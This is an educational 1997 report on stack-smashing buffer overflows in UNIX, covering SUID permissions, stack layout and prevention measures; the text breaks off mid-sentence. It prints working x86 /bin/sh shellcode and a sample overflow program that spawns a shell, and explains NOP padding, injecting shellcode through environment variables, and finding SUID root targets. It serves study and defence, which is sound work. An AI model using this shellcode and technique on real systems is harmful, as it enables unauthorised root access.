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Summary
By combining permission features of UNIX operating system and features of the C 

programming language, it is possible for an underprivileged user or process to gain 
unrestricted system privilege.  Common to many high profile UNIX security incidents, this 
report analyzes how these exploits are constructed, why they work and what can be done to 
prevent the problem.
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 1.  Introduction
By combining the C programming language’s liberal approach to memory handling 

with specific UNIX filesystem permissions, this operating system can be manipulated to grant 

unrestricted privilege to unprivileged accounts or users. A variety of exploit that relies upon 

these two factors is commonly known as a buffer overflow, or stack smashing vulnerability. 

Stack smashing plays an important role in high profile computer security incidents such as the 

Robert Tappan Morris Internet Worm1 in 1987, and the Kevin Mitnick vs. Tsutomu 

Shimomura incident in 19952.  In order to secure modern UNIX systems, it is necessary to 

understand why stack smashing occurs and what one can do to prevent it.

2.  Terms
   Many terms exist that apply to this problem.  Smashing the Stack, a term popularized 

recently by Aleph One and others in the Internet security community, is not the only term that 

has been used to describe this issue. The fandango on core,  overrun screw, stack scribble, 

and stale pointer[1] all relate to stack smashing.

2.1 Fandango on Core

In C programming on UNIX machines, a fandango on core is a generic term for all 

bugs involving a wild pointer that has run out of bounds, causing core dumps or corruption of 

dynamic memory allocation space.  This type of program activity is crucial in constructing 

stack smashing security vulnerabilities.  Any number of the terms may be used to describe 

conditions that lead to stack smashing vulnerabilities, and, in general, refer to usually 

undesirable operations on dynamically allocated memory.

2.2 Overrun Screw

A variety of fandango on core; an overrun screw is a generic term for C programming 

bugs that scribble past the end of an array.  A lack of bounds checking makes this a fairly 

common occurrence in the C programming language.  Overrun screw is a term used 

specifically when a scribble past a dynamically allocated array occurs.  Again, this type of 

program behavior is necessary in constructing a stack smashing security vulnerability.

2.3 Smashing, Trashing or Scribbling the Stack
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A variety of overrun screw; This term is reserved for a C programming case in which 

the execution stack is corrupted by writing past the end of a data structure such as a local 

array.  Smashing, trashing or scribbling the stack is said to happen when a C function or 

routine jumps to a random address, and overruns a fixed-size buffer with excessively large 

input data.  This often results in data-dependent bugs that are difficult to spot or isolate.

2.4 Aliasing/Stale/Dangling Pointer Bug

This term has been in use since the 1960s in the ALGOL and FORTRAN communities 

and is reserved for a group of programming errors that arise in code that uses more than one 

alias or pointer to  point to a given chunk of dynamically allocated memory.  In the event that 

the dynamic memory is modified using one alias, and then later referenced through another, 

subtle and violent errors can occur.

3. Stack Smashing publicity

3.1 Security professionals and the academic community 

CERT, the Computer Emergency Response Team Coordination Center at the Software 

Engineering Institute of Carnegie Mellon University, has published Internet-specific computer 

security incident advisories since 1988. In examining recent security incident advisories, a 

trend emerges in the type of vulnerabilities reported; Buffer overflow is a common phrase in 

these reports.  Of the advisories available on CERT’s public archives, the following recent 

examples illustrate the proliferation of stack smashing buffer overflows[1]:



3 Http://www.sendmail.org
4 Mail Transfer Agent
5 Multipurpose Internet Mail Extensions, for more details see RFC 1341
6 http://www.opengroup.org/
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ftp://info.cert.org/pub/cert_advisories/CA-97.05.sendmail
======================================================================
CERT(sm) Advisory CA-97.05
Original issue date: January 28, 1997
Last revised: March 5, 1997
              Appendix A, updated NEC entry.              

Topic: MIME Conversion Buffer Overflow in Sendmail Versions 8.8.3 and 8.8.4
--------------------------------------------------------------------

CERT example 3.1.a

Example 3.1.a details a vulnerability in Eric Allman’s sendmail3, a popular MTA4 

used for e-mail delivery and distribution.  In recent revisions of this utility, a stack smashing 

vulnerability exists in the code that performs MIME5 conversions on e-mail messages.  

ftp://info.cert.org/pub/cert_advisories/CA-97.11.libXt
=====================================================================
CERT* Advisory CA-97.11
Original issue date: May 1, 1997
Last revised: --

Topic: Vulnerability in libXt
----------------------------------------------------------------------
There have been discussions on public mailing lists about buffer overflows in the Xt library 
of the X Windowing System made freely available by The Open Group (and previously by the 
now-defunct X Consortium). The specific problem outlined in those discussions was a buffer 
overflow condition in the Xt library, and the file xc/lib/Xt/Error.c. Exploitation scripts 
were made available.

CERT example 3.1.b

Example 3.1.b details a vulnerability in the Open Group’s6 Xt Library of the widely 

used X Windowing System, a GUI interface used on many UNIX workstations.  The Xt 

Library is linked in with many other binaries in the X Windowing System; any number of 

these programs may be vulnerable to stack smashing holes.

-----------------------------------------------------------
ftp://info.cert.org/pub/cert_advisories/CA-97.10.nls
======================================================================
CERT* Advisory CA-97.10
Original issue date: April 24, 1997
Last revised: May 1, 1997
              Section III and Appendex.  Updated vendor information for
                Hewlett-Packard Company.

Topic: Vulnerability in Natural Language Service
---------------------------------------------------------------------
The CERT Coordination Center has received reports of a buffer overflow condition that affects 
some libraries using the Natural Language Service (NLS) on UNIX systems. By exploiting this 
vulnerability, any local user can execute arbitrary programs as a privileged user. There is a 
possibility (with some old libraries) that the vulnerability can be exploited by a remote 
user.
Exploitation information is publicly available.
-------------------------------------------------------

CERT example 3.1.c



7 ftp://cert.org:/pub/cert_advisories/obsolete_advisories
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Example 3.1.c details a vulnerability in UNIX vendors that incorporate the Natural 

Language Service into their distribution.  Much like the sendmail vulnerability discussed in 

example 3.a, a stack smashing hole exists in a specific NLS binary.

CIAC is the U.S. Department of Energy’s Computer Incident Advisory Capability; 

established in 1989, this organization provides computer security services to employees and 

contractors of the United States Department of Energy.  CIAC regularly publishes public 

computer security incident bulletins and has distributed a number of incident advisories 

concerning buffer overflows[2]:

http://ciac.llnl.gov
---------------------------------------------------------------------
 What’s New (04/28/97):

NLS Buffer Overflow Vulnerability (H-49) Released (04/28/97) 
Internet Information Server Vulnerability (H-48) Released (04/21/97) New CIAC Internet Hoaxes 
Page Updated (04/17/97)
Alert- AOL4FREE.COM Trojan Horse Program Destroys Hard Drives (H-47a) Released (04/17/97) 
Vulnerability in IMAP and POP (H-46) Released (04/10/97) 
Windows NT SAM permission Vulnerability (H-45) Released (04/09/97) 
SPI for NT Version 97.03B Now Available (04/02/97) 
Solaris 2.x fdformat Buffer Overflow Vulnerability (H-44) Release (03/25/97) 
Alert- Update on the Vulnerability in innd (H-43) Released (03/20/97) 
HP MPE/iX with ICMP Echo Request (ping) Vulnerabilities (H-42)  Released (03/20/97) 
Solaris 2.x eject Buffer Overrun Vulnerabilities (H-41) Released (03/19/97) 
DIGITAL Security Vulnerabilities (DoP, delta-time) (H-40) Released  (03/11/97)
SGI IRIX fsdump Vulnerability (H-39) Released (03/11/97) 
Internet Explorer 3.x Vulnerabilities (H-38a) Released (03/10/97)
Solaris 2.x passwd buffer Overrun Vulnerability (H-37) Released (03/04/97) 
FedCIRC now has its own Web site. Come visit, there is plenty to see! 
DOE Awards a contract for a DOS/Windows Antivirus Product
1997 FIRST Conference announces a call for papers (12/12/96) 
------------------------------------------------------------------

CIAC example 3.1.d

Example 3.1.d details a number of Spring 1997 vulnerability reports including 

potential stack smashing holes in many popular UNIX operating systems, and various other 

network service utilities and servers.

Based on the number of stack smashing advisories published by organizations such as 

CERT and CIAC, it is not difficult to understand how common buffer overflows are, 

underscoring the importance of investigating the problem.  Not a new problem for the security 

community, CERT advisories from as long ago as 1989 speak of ‘buffer overflow’ 

vulnerabilities7.  Furthermore, some of these obsolete vulnerabilities describe old stack 

smashing problems present in the same programs and libraries discussed in examples 

3.1.a-3.1.d.  In light of these facts, in-depth investigation and publicity of stack smashing 

vulnerabilities seems essential in addressing modern UNIX security.



8 http://www.l0pht.com
9 http://www.l0pht.com/advisories.html
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3.2 Underground Community

Not only are formal advisories published by the academic and professional 

community, stack smashing security vulnerabilities are also well known and used by the 

underground community.  For example, The L0pht8, a underground organization in the Boston 

area also publishes security incident advisories, in the same manner that CERT or CIAC does.  

Once again, buffer overflow vulnerabilities9 are a common thread:

http://www.l0pht.com/advisories.html

Author: mudge@l0pht.com

Release Application Platforms Severity

 1/14/97    Dynamically linked Users can exploit a proble, in

            SUID programs calling Solaris SUID programs that use

            getopt(3)                Solaris OS getopt(3) to obtain elevated

privileges

 Scenario: A buffer overflow condition exists in the getopt routine. By supplying an invalid 

option and replacing argv[0] of a SUID program that uses the getopt(3) function with the 

appropriate address and machine code instructions, it is possible to overwrite the saved stack 

frame and upon return force the processor to execute user supplied instructions with elevated 

permissions. 

 Solaris Libc Vulnerability.

L0pht example 3.2.a

Much like the Xt Library example 3.1.b, the vulnerability described in example 3.2.a 

can be linked with other binaries in the Solaris operating system.  In fact, any number of 

programs linked with this library may be vulnerable to stack smashing holes.

4. UNIX File System Permissions
In order to better understand stack smashing vulnerabilities, it is first necessary to 

understand certain features of filesystem permissions in the UNIX operating system.  

Privileges in the UNIX operating system are invested solely in the user root,  sometimes 

called the superuser, root’s infallibility is expected under every condition including program 

execution. As Eugene Spafford states[6]:
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‘‘The superuser is the main security weakness in the UNIX operating 
system.  Because the superuser can do anything, after a person gains 
superuser privileges - for example, by learning the root password and 
logging in as root - that person can do virtually anything to the system.  This 
explains why most attackers who break into UNIX systems try to become 
superusers.’’ [6],(82)

Each program (process) started by the root user inherits the root user’s all-inclusive 

privilege.  In most cases the inherited privilege is subsequently passed to other programs 

spawned by root’s running processes.

Set UID (SUID)  permissions in the UNIX operating system grant a user privilege to 

run programs or shell scripts as another user.  When running a program or shell script in the 

UNIX operating system, the process in memory that handles the program execution is usually 

owned by the user who executed the program. Using a unique permission bit to indicate 

SUID, the filesystem indicates to the operating system that the program will run under the file 

owner’s ID rather than the user’s ID who executed the program.  Often times SUID programs 

are owned by root; while these programs may be executable by an underprivileged user on the 

system, they run in memory with unrestricted access to the system.  For Example: 

bash# ls -agl /usr/sbin/sendmail
-r-sr-sr-x   1 root     kmem       292686 Mar 11 21:51 /usr/sbin/sendmail      

SUID example 4.a

an "s" in the executable portion of the ’world’ permission block indicates that this sendmail 

file is a set UID file, root is the owner of the file. A file such as this is often called "SUID 

root."  By executing sendmail as an unprivileged user, that underprivileged user temporarily 

uses root’s privilege to execute sendmail.  This is necessary in order to allow sendmail to 

update system or other user’s files, something an underprivileged user does not have access to 

do by default. As one can see, SUID root permissions are used to grant an unprivileged user 

temporary, and necessary, use of privileged resources.   As Eugene Spafford comments[6]:

‘‘ Many UNIX programs need to run with superuser privileges.  These 
programs are run as SUID root programs, when the system boots, or as 
network servers.  A single bug in any of these complicated programs can 
compromise the safety of your entire system.  This characteristic is probably 
a design flaw, but it is basic to the design of UNIX, and it not likely to 
change.’’ [6],(701)

Exploitation of this ‘‘feature turned design flaw’’ is critical in constructing buffer overflow 

exploits.
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5. UNIX and the C programming language

The UNIX operating system is inextricably linked to the C programming language.  A 

programming language devloped by Dennis Ritchie at AT&T Bell Labs in 1972, C was 

designed to give the UNIX operating system the speed and flexibility of assembly language.  

All modern implementations of the UNIX operating system are written in the C programming 

language, including system binaries and the kernel.   

What C gains in simplicity and efficiency, it sacrifices in terms of data integrity and 

ease of use.   The standard C library in most UNIX implementations is vulnerable to buffer 

overflows and memory leaks.  Not to be interpreted as errors in the design of the language, C 

assumes the programmer is responsible for data integrity.  Once a variable is allocated 

memory space in C, the language does nothing to insure that the expected contents of the 

variable fit into the allocated memory.

C programmers often use the term buffer and array interchangeably thus, it is safe to 

define a buffer as a contiguous block of memory (core) that holds multiple instances of an 

identical data type.  As with all variables in C, buffers are declared dynamic or static.  Static 

buffers which are explicitly defined in the source code and are allocated at load time on the 

data segment in memory.  Dynamic arrays are defined via pointers to memory locations in 

source code and are allocated at run time on the stack.  Due to the obvious limitations on 

static arrays, dynamic allocation is the method used in all major programs and applications in 

the UNIX environment. Thus, Smashing the stack or stack overflow exploits are concerned 

only with programs that do dynamic allocation.

6.  Tools used for testing
Linux, a freely available UNIX operating system running on Intel x86 hardware is 

assumed for the examples in this study.  While efforts are made to insure that these examples 

are generic, implementation details are Linux specific in some places.  The methods presented 

in this document are not limited to the Linux operating system kernel and have been 

reproduced under other UNIX operating systems using near-identical means.

The UNIX C compiler used in the examples in this study is the Free Software 

Foundation’s GNU CC compiler, gcc.  gcc is the default C language compiler available as part 

of every well known Linux distribution.  Maintained and written by Richard M. Stallman, gcc 
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is a free compiler available for a number of different UNIX and non-UNIX system 

architectures.  Efforts have been made to insure that all GNU CC examples are generic in 

nature and do not incorporate any proprietary gcc-specific extensions. C language source code 

examples in this document conform to ANSI C standards and can be reproduced with a 

comparable compiler.  

7.  UNIX Processes and the Stack
UNIX processes in memory are organized in three regions:  text, data and stack (see 

figure 7.a)[1,7,9].  At the beginning of program execution, the data and text areas are loaded 

directly into active memory.  Data is split into initialized data and uninitialized (BSS) data.  

BSS data takes a higher memory address than initialized data while the text region takes the 

lowest memory address (closest to 0x00000000).  BSS data is not stored statically in an 

executable file, simply because this region can be allocated using zero-filled memory.  

Information such as static variables are stored in the BSS data region.  The data region’s size 

can be changed with the POSIX 2.9 standard (unistd.h) symbolic constant function brk().  

In the event that bss-data or the user stack exhausts available memory, the current running 

process is blocked and rescheduled to run again with a larger memory module.  New memory 

is added between the stack and data segments in the uninitialized region.

The text region is a read-only region that is shared by all processes executing the file.  

Attempts to write to this region result in a segmentation violation.  This differs from the data 

and stack areas which are written by and are private to each process.
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per-process kernel stack

red zone

user area

ps_strings struct

signal code

env strings

argv strings

env pointers

argv pointers

argc

user stack

heap

bss

initialized data

text0x00000000

(low addresses)

0xFFF00000

(high addresses)

symbol table

initialized data

text

linker header & magic number

process in memory

file in secondary storage

command line arguments
and shell environment

Figure 7.a UNIX Process in primary and secondary storage[5]

The stack differs from and the text and data segments in significant ways.  Most 

importantly, the stack is dynamic, and determined at run time, as opposed to static data that is 

simply loaded into memory.  A contiguous block of memory containing data,  a stack is a data 

structure for storing items which are to be accessed in last-in, first-out order[3].
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When an executable file is loaded, first the text segment is loaded into memory, the 

data area is loaded second.  Finally, the stack is allocated dynamically with zero-filled 

memory using a system call such as sbrk, common to most BSD distributions.  Stack data that 

grows immediately above the BSS data segment is called the heap.  Heap addresses may grow 

up or down, depending on the CPU implementation.  

The user stack frame contains the parameters to a function, its local variables, and the 

data necessary to recover the previous stack frame, including the value of the instruction 

pointer at the time of the function call[9].  Above the user stack, all command line argument 

variables, as well as environment variables are also passed to the process and stored in 

memory (argc, argv, env, pointers and strings).  The ps_strings structure is used to report 

information about the running process back to the user and or operating system.  The 

red_zone is a reserved field, not present under certain hardware architectures, used to protect 

the per-process kernel stack. The red_zone sits at the highest memory address, relative to a 

specific running process.

7.1 Intel x86 Implementation under the Linux Operating System

The stack pointer register (SP) is used to point to the top of the stack on the Intel x86 

CPU family.  SP holds the address of the last data element to be added to or pushed on the 

stack.  The bottom of the stack is at a fixed address.  Its size is dynamically adjusted by the 

kernel at run time. The stack consists of logical stack frames that are pushed when calling a 

function and popped when returning.  The Intel x86 CPU implements the PUSH and POP 

instructions to perform stack operations.  With each successive PUSH operation, the stack 

grows downward in memory, pointing to lower memory address as the size of the stack 

increases.  

In addition to the stack pointer, which points to the top of the stack, a frame or local 

base pointer (FP or LB) is also present  which points to a fixed location within a frame.  In 

principle, local variables and parameters could be referenced by giving their offsets from SP.  

However, as words are pushed onto the stack and popped from the stack, these offsets change 

and are held in a register such as EBP (32-bit base pointer).  On the Intel x86 CPU, this is 

accomplished through multiple assembly instructions involving FP and EBP. Taking into 

consideration our stack growth, parameters will have positive offsets and local variables 

negative offsets from FP. 
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When invoking or exiting a standard C function, the procedure prolog or epilog must 

be called, this involves saving the previous variables and allocating space for the new 

variables; and vice-versa when the function exits.  The previous FP is pushed, a new FP is 

created and SP operates with respect to its new local variables. 

  Using the below code as an example, one can gain a better understanding of typical 

stack behavior.

void function(int a, int b, int c) {
   char buffer1[5];
   char buffer2[10];
}

void main() {
  function(1,2,3);
}

Stack Example 7.1.a

The x86 assembly language equivalent of the function() call in the above code is 

translated to:

        pushl $3 ; push function() argument 3
        pushl $2 ; push function() argument 2
        pushl $1 ; push function() argument 1
        call function ; call function() and push IP onto the stack

Example 7.1.b - pushing arguments onto the stack

This pushes the 3 arguments to function backwards into the stack, and calls function().  

The instruction call will push the instruction pointer (IP) onto the stack.  The first thing 

done in function is the procedure prolog:

pushl %ebp ; push frame pointer onto stack
movl %esp,%ebp ; copy SP onto EBP, creating the new frame pointer (FP)
subl $20,%esp ; allocate space for local variables

Example 7.1.c - Linux x86 Procedure Prolog

First, the frame pointer, EBP, is pushed onto the stack.  The current SP is then copied into 

EBP, making it the new FP pointer.  Finally, the prolog proceeds to allocate space for the 

local variables by subtracting their size from SP, (see Figure 7.1.c).  Memory addressing must 

work with multiples of words, this is why 20 is subtracted from SP in this example.  The 

source code in  example 7.1.c uses 5 words for a total of 20 bytes, taking into consideration 

the 4 byte Intel x86 CPU word size.
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bss

user stack

heap

argc

bss

buffer2

buffer1

sfp

ret

a

b

c

Figure 7.1.b - Example 7.1.a in user stack

8.  Buffer Overflows

In the C programming language, buffer overflows are a common occurrence. recall 

that by design, the programming language does not internally support bounds checking when 

initializing, copying or moving data between or into variables (see section 5).  Below is a 

simple buffer overflow example using string arrays:

1: void function(char *str) {
2:    char buffer[16];
3:
4:    strcpy(buffer,str);
5: }
6:
7: void main() {
8:   char large_string[256];
9:   int i;
10:
11:   for( i = 0; i < 255; i++)
12:     large_string[i] = ’A’;
13:   function(large_string);
14: }

Example 8.a - buffer overflow example

When compiled and executed, the above code returns a segmentation violation.  This 

takes place because function() attempts to copy large_string into buffer without 
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bounds checking using strcpy().  strcpy() simply keeps writing until large_string is 

exhausted, writing over SFP, RET, and *str (see figure 8.b)

bss

user stack

heap

argc

bss

buffer[16]

sfp

ret

*str

bss

user stack

heap

argc

bss

buffer[16]

strcpy() attempts to  write 256
bytes into buffer, overwriting
sfp, ret  and*str

.

before strcpy()  is
called

after strcpy()  is
called

Figure 8.b - Buffer Overflow Example 5.a before and after strcpy() call.

By writing a string of A’s (0x41 in hex) into and over the stack, the return address 

has changed to an address outside of the process address space.  The running process can no 

longer fetch the next instruction from the proper address, overwritten with an address outside 

its process space, returning a segmentation fault.

Example 8.a illustrates how one can change the return address of a dynamic function, 

based on a single byte copy overflow.  Function return address manipulation is crucial in stack 

smashing security vulnerabilities and is the means by which all buffer overflows are exploited 

in the SUID root UNIX arena.  By manipulating the return address with a static string 

containing shell code, it is possible to transform an unbounded string copy into an instruction 

which can execute arbitrary code on the execution stack.

 

9.  Shell Code



10 Examples of shell code for many popular UNIX systems, see appendix A
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As shown in the previous section, by manipulating dynamically allocated variables 

with unbounded byte copy operations, execution of arbitrary code is possible via the return 

address blindly ‘restored’ following a function exit.  The ability to execute arbitrary code 

instructions as the superuser is often used with calls that will allow an attacker to continue 

executing indefinite commands as root. To obtain maximum root system privilege, the 

interactive bourne shell program is spawned, /bin/sh.  The bourne shell is a shell that 

exists on every modern UNIX system, and is commonly the default system shell for the 

privileged user.  Any system shell can be used as shell code, however, in the interest of 

keeping this study as generic as possible, /bin/sh is assumed.

In order to arrange an interactive shell situation, a static /bin/sh execution sequence 

must appear somewhere in memory so that a manipulated ‘return address’ can point to that 

location.  This is accomplished by using an assembly language hexadecimal string of the 

binary equivalent to the standard C function call: execve(name[0], "/bin/sh", 

NULL).  Assembly language equivalents to this call are hardware implementation 

dependent10.  Using  debugging utilities, it is possible to dissect a call such as 

execve(name[0], "/bin/sh", NULL) by breaking it down to a simple ASCII 

assembly sequence, and storing it in a character array or other contiguous data structure. On 

an Intel x86 machine running Linux, the following is a list of steps used in formulating shell 

code[1]:

1. The null terminated string /bin/sh exists somewhere in memory.
2. The address of the string /bin/sh exists somewhere in memory followed by a null long word.
3. 0xb is copied into the EAX register.
4. The address of the string /bin/sh is copied into the EBX register.
5. The address of the string /bin/sh is copied into the ECX register.
6. The address of the null long word is copied into the EDX register.
7. The int $0x80 instruction is executed, a standard Intel CPU interrupt 
8. 0x1 is copied into the EAX register.
9. 0x0 is copied into the EBX register.
10. The int $0x80 instruction is executed, a standard Intel CPU interrupt.

This listing can be reduced to x86 actual shell code in a standard ANSI C character array:

char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"



Stack Smashing Vulnerabilities in the UNIX Operating System Page 9

May 7, 1997

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

 Example 9.a -  /bin/sh assembly execution sequence

The shell code and buffer overflow examples are combined in the following example:

char shellcode[] =
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   "\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

void main() {
  char buffer[96];
  int i;
  long *long_ptr = (long *) large_string; /*long_ptr takes the address of large_string /*

  /* large_string’s first 32 bytes are filled with the address of buffer */
  for (i = 0; i < 32; i++)
    *(long_ptr + i) = (int) buffer;

  /* copy the contents of shellcode into large_string */
  for (i = 0; i < strlen(shellcode); i++)
    large_string[i] = shellcode[i];

  /* buffer gets the shellcode and 32 pointers back to itself */
  strcpy(buffer,large_string);
}
 

Example 9.b -  buffer overflow with shell code execution

Using the source code in Example 9.a; First, large_string is filled with the address 

of buffer, which points to the future memory location of our shell code sequence.  Second, 

the shell code is copied into the beginning of the large_string character array.  Next, 

strcpy() copies large_string onto buffer overflowing the return address, overwriting it 

with the address of the shell code sequence.  When the main()function completes, control 

jumps to our shell code sequence, and returns an interactive shell.
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Figure 9.c - Buffer Overflow Example 9.a before and after strcpy() call.

Example 9.b and Figure 9.c detail a full example of a stack smashing sequence.  If this 

code were compiled, and configured with SUID root permissions, and made world executable 

on a UNIX system, it would return an interactive, privileged shell for any user on the system 

who ran the resulting binary.  

9.1 Creative stack smashing

Example 9.b is not a typical stack smashing sequence.  SUID root programs included 

in UNIX distributions are not precompiled with ‘‘shell code’’ as part of the binary.  To exploit 

these type of programs, some means must be used to insert the shellcode array into the 

runtime environment.  Stack smashers have devised creative ways to accomplish this.

In order to inject the shell code into the runtime process, stack smashers have 

manipulated command line arguments, shell environment variables, and interactive input 

functions with the necessary shell code sequence.  Not only do most stack smashing exploits 

rely upon shell code to accomplish their task, but these type of exploits depend on knowing at 

what address in memory this shell code will reside.  Taking this into consideration, many 

stack smashers have padded their shell code with NULL (or no-op) assembly operations this 

gives the shell code a ‘wider space’ in memory and makes it easier to guess where the shell 

code may be when manipulating the return address.  This  approach, combined with an 

approach whereby the shell code is followed by many instances of the ‘guessed’ return 



11 Complete listing is available in Appendix B
12 This specific machine has 67, however an ‘out of the box’ distribution may have slightly more or less

_________________________
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address in memory; is a common strategy used in constructing stack smashing exploits.  An 

additional approach, when small programs with memory restrictions are exploited, is to store 

the shellcode in an environment variable. 

10.  SUID root programs by distribution

In order to search standard UNIX distributions for SUID root programs, the following 

command can be executed by the privileged user:

/usr/bin/find / -user root -perm -004000 -print

This command is a system-wide search command for SUID root files; which, as described, 

are crucial in constructing stack smashing exploits.  Using the above command as a test case, 

working installations of two popular UNIX  were tested with this command: Linux and 

Solaris11.

On a Linux machine running the 2.0.30 kernel, built from a modified version of the 

Slackware distribution, 56 SUID root world-executable binaries existed on the system.  A 

subtle byte copying error in any one of the above programs could allow for a stack smashing 

vulnerability.  Comparatively, In a distribution of the Solaris operating system, approximately 

67 SUID root world-executable programs on the system in total12.  As with the Linux 

distribution, an error in the coding to handle dynamic string variables in any one of these 

system binaries could allow for a stack smashing vulnerability.

Using Linux and Solaris as examples, one may conclude that a significant number of 

SUID root binaries exist in the typical UNIX distribution.  Any one of these programs can 

become a target for stack smashers, thus, prevention and protection of these files is a 

necessity.

11.  Stack Smashing Prevention
A centralized or decentralized approach can be taken to avoid stack smashing security 

vulnerabilities.  To do so, changes must be implemented in the privileged programs 

themselves, in the C programming language compilers, or in the operating system kernel.  A 

centralized approach involves modification of system libraries and/or an operating system 

kernel while a decentralized approach involves the modification of privileged programs 
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and/or C programming language compilers. Of these two basic approaches, a decentralized 

approach is more immediately expensive with respect to manpower and workload, but 

cheaper in the long term providing a stable, long lasting solution. A centralized approach is 

cheaper in the short term, with respect to manpower and workload, but is near impossible to 

implement as a long term solution. 

11.1  Program modification

To effectively fix defective SUID root program, a number of modifications can be 

made to the program’s source code to avoid stack smashing vulnerabilities.  Standard C byte 

copy or concatenation functions often are crucial in most buffer overflow exploits.  A list of 

vulnerable function calls in the C programming language, and suitable replacement function 

(if available) is as follows:

function suitable replacement

gets() fgets()

sprintf()

strcat() strncat()

strcpy() strncpy()

streadd()

strecpy()

strtrns()

index()

fscanf()

scanf()

sscanf()

vsprintf()

realpath()

getopt()

getpass()
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Figure 11.1.a vulnerable functions in C

In general, functions that return a pointer to a result in static storage can be used in 

stack smashing exploits.  In other terms, standard C function calls that copy strings without 

checking their length are insecure.  Some vulnerable functions have suitable ‘drop in’ 

replacements, others do not.  Whenever possible, alternative functions must be used to help 

insure that privileged code is not susceptible to stack smashing exploits.  In addition to using 

suitable replacements for vulnerable functions, shell environment pointers and excessive 

command line arguments also need to be checked for invalid data.  Recall that stack smashers 

are creative and often hide shell code and other crucial exploit information in excessive 

command line arguments or environment variables (see figure 7.a and section 9.1).  Thus, 

securing source code must be a comprehensive process to be effective, and all avenues of 

unauthorized input must be inspected and properly terminated if invalid.

Commercial programs such as CenterLine software’s Code Center or Pure Atria’s 

Purify, and non-commercial programs such as Brian Marick’s GCT or Bruce Peren’s 

ElectricFence can be used to assist programmers in locating buffer overflows and illegal 

function operations that standard C compilers do not look for.  However, programs such as 

these can only catch overflow bugs reactively, not proactively;  A test case must exist which 

provokes the stack smashing hole.  Furthermore, many of these programs can offer more 

information than standard UNIX facilities while investigating a program’s abnormal memory 

operations.  

As C debugging tools, these programs may offer more than simple ‘segmentation 

violation’ messages.  However, it is important to remember that these programs are designed 

to remove bugs and do not specialize in security.  Furthermore, these programs do not 

consider the current or future filesystem permissions of the program.  The same battery of 

tests are submitted to a program whether it runs as a privileged user or not.  In summary, 

automated debugging tools are useful in correcting known vulnerabilities, however, they 

cannot detect future vulnerabilities and are limited as security tools.

Security and stability are synonymous.  Programs that use secure functions and accept 

less bad input data are not only more secure, but run more efficiently and build faster.  By 

changing existing code and writing new code with security in mind, both privileged code and 

non-privileged code share the benefits.  Recalling the ease in which privileged program 

execution can be transferred, it is important to note that privileged code often trusts 
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non-privileged code.  Privileged processes may assume that all binaries, privileged and 

non-privileged, are to be trusted.  By using more secure programming practices on all UNIX 

system code, every segment of the code base is strengthened. Security and robustness both 

involve thinking about the ranges of allowable inputs and responses, and limiting them so 

undesirable responses are not produced.

In a recent study by a research team lead by Barton P. Miller at the University of 

Wisconsin-Madison entitled An Empirical Study in the Reliability of UNIX Utilities (1989) 

and its successor Fuzz Revisited: A Re-examination of the Reliability of UNIX Utilities and 

Services (1995), the stability and reliability of a number of UNIX implementations were 

tested.  While this study does not focus on buffer overflows specifically, it is primarily 

concerned with the reliability and stability of UNIX utilities when flooded with invalid input.  

In Miller’s study, over 80 different utility programs on nine different UNIX platforms were 

tested.  Seven of these UNIX platforms originate from commercial vendors, and two were 

from the ‘free’ UNIX community.  It is interesting to note that the average failure rate of the 

tools and utilities available on the commercial operating systems tested ranged from 18% to 

43%, while the average failure rate of the Linux/GNU utilities ranged from 6% to 9%.  In this 

study, failure was defined as programs that crashed with a core dump or hung, when presented 

with invalid data.  While only some of the programs tested in this study were SUID root 

programs, many of these programs were trusted by SUID root programs, and flawless 

operation was assumed.

Modifying the code is the only near foolproof method of insuring that SUID root 

programs are not exploited.  Not only can this avoid buffer overflows in programs, but it will 

build faster, more efficient, robust code with respect to non-security areas of the operating 

system.  The OpenBSD project has paid special attention to this, as its chief kernel hacker, 

Theo DeRaadt commented in a recent e-mail:

‘‘During the OpenBSD security code review that we’ve been doing for
almost a year now, we have fixed numerous other robustness problems.
Just as a small example, more than 10 ways to make ftpd dump core have
been resolved.  Thousands of non-security bugs got fixed at the same
time.  When you are looking at each source file one by one, it is an ideal
time to evaluate what problems and solutions other OS groups have
done.’’



13 ftp://ftp.lucky.net/pub/unix/local/libc-letter

_________________________

Stack Smashing Vulnerabilities in the UNIX Operating System Page 9

May 7, 1997

The disadvantages of manually modifying all affected programs is obvious since all 

subject programs must be checked by hand and recompiled.  Thousands of lines of source 

code must have all function calls and UID execution privileges examined and changed, if 

necessary.  In the free operating system arena, systems such as Linux, FreeBSD, OpenBSD 

and NetBSD have full source code distributions available for public use.  Complete copies of 

the operating system kernel and system utilities may be downloaded and modified, allowing 

anyone to fix stack smashing vulnerabilities.  However, In contrast to this approach, 

commercial UNIX operating systems have limited, if any source code availability.  As the 

chief decentralized approach in avoiding stack smashing holes in the UNIX operating system, 

global code auditing is the most expensive in terms of necessary manpower and workload but 

can offer the most in long term reliability and security.

11.2  Compiler modifications

An additional decentralized approach to preventing stack smashing vulnerabilities is to 

modify the C language compiler’s performance in a given UNIX operating system concerning 

vulnerable functions.  However, it is important to note that, in most cases, these modifications 

to the C programming language are not trivial and involve fundamental modifications to the 

concepts behind the C programming language.

A simple approach of this nature involves modifications to the C compiler, which do 

not affect the C programming language.  For example, the BSDI and OpenBSD operating 

systems’ compilers generate warning messages when compiling a program which uses 

‘‘dangerous’’ (see fig 9.1.a) function calls.  Despite this shortcoming, the main benefit of using 

an approach such as this is that it encourages secure programming without changing the code 

or its performance.

A median approach of this nature involves slight modifications to the compiler, such 

as those proposed by Alexandre Snarskii13, which would modify only the ‘‘dangerous’’ (see 

fig 9.1.a) functions in the C library and perform a stack integrity check before referencing the 

appropriate return value.  In his proposed patch to the FreeBSD operating system, if the 

integrity check fails, it would simply print a warning message and exit the affected program.  

The main disadvantage to this approach is that all dangerous functions would suffer a 

significant performance penalty, and like the previous approach, this modification does not 



14 http://www-ala.doc.ic.ac.uk/~phjk/BoundsChecking.html
15 ftp://dse.doc.ic.ac.uk/pub/misc/bcc/
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take into account autonomous functions defined by the programmer, because of its 

implementation in the system libraries.  An additional drawback to this approach is that the 

